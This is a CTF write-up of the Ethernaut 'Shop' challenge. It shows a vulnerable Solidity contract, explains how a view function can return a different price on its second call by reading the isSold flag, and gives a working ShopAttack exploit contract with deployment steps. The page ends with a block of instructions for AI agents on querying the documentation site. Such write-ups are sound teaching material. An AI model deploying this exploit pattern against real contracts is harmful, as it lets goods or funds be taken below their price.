# Shop

## Description

Сan you get the item from the shop for less than the price asked?

Things that might help:

* `Shop` expects to be used from a `Buyer`
* Understanding restrictions of view functions

## Code Audit

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Buyer {
  function price() external view returns (uint);
}

contract Shop {
  uint public price = 100;
  bool public isSold;

  function buy() public {
    Buyer _buyer = Buyer(msg.sender);

    if (_buyer.price() >= price && !isSold) {
      isSold = true;
      price = _buyer.price();
    }
  }
}
```

This challenge is similar to "Elevator", but with a little tweak. In "Elevator", we distinguish 1st and 2nd call by defining a `counter` state variable. In this challenge, we are in a restricted environment (like a sandbox) because `price()` is defined as a **view function**. In short, we can only read but not write on state variables.

This is not a problem. Note that the `isSold` state variable flips from `false` to `true`, and it is just like the `counter` we defined in "Elevator". Since `isSold` is public, we can read its content through the getter `isSold()` that is automatically generated by the Solidity compiler.

## Solution

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import './Shop.sol';

contract ShopAttack {
	Shop public shop;

	constructor(Shop _shop) {
	    shop = _shop;
	}

	function buy() public {
	    shop.buy();
	}

	function price() public view returns(uint) {
	    return shop.isSold() ? 0 : 100;
	}
}
```

Deploy the exploit contract and feed in the address of the target contract:

<figure><img src="/files/phqMMulA9xudPkVW2KaP" alt=""><figcaption><p>ShopAttack deploy</p></figcaption></figure>

Call the `buy` function.

## Summary

Contracts can manipulate data seen by other contracts in any way they want.

It's unsafe to change the state based on external and untrusted contracts logic.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://ret2basic.gitbook.io/ctfwriteup/web3-ctf/ethernaut/shop.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
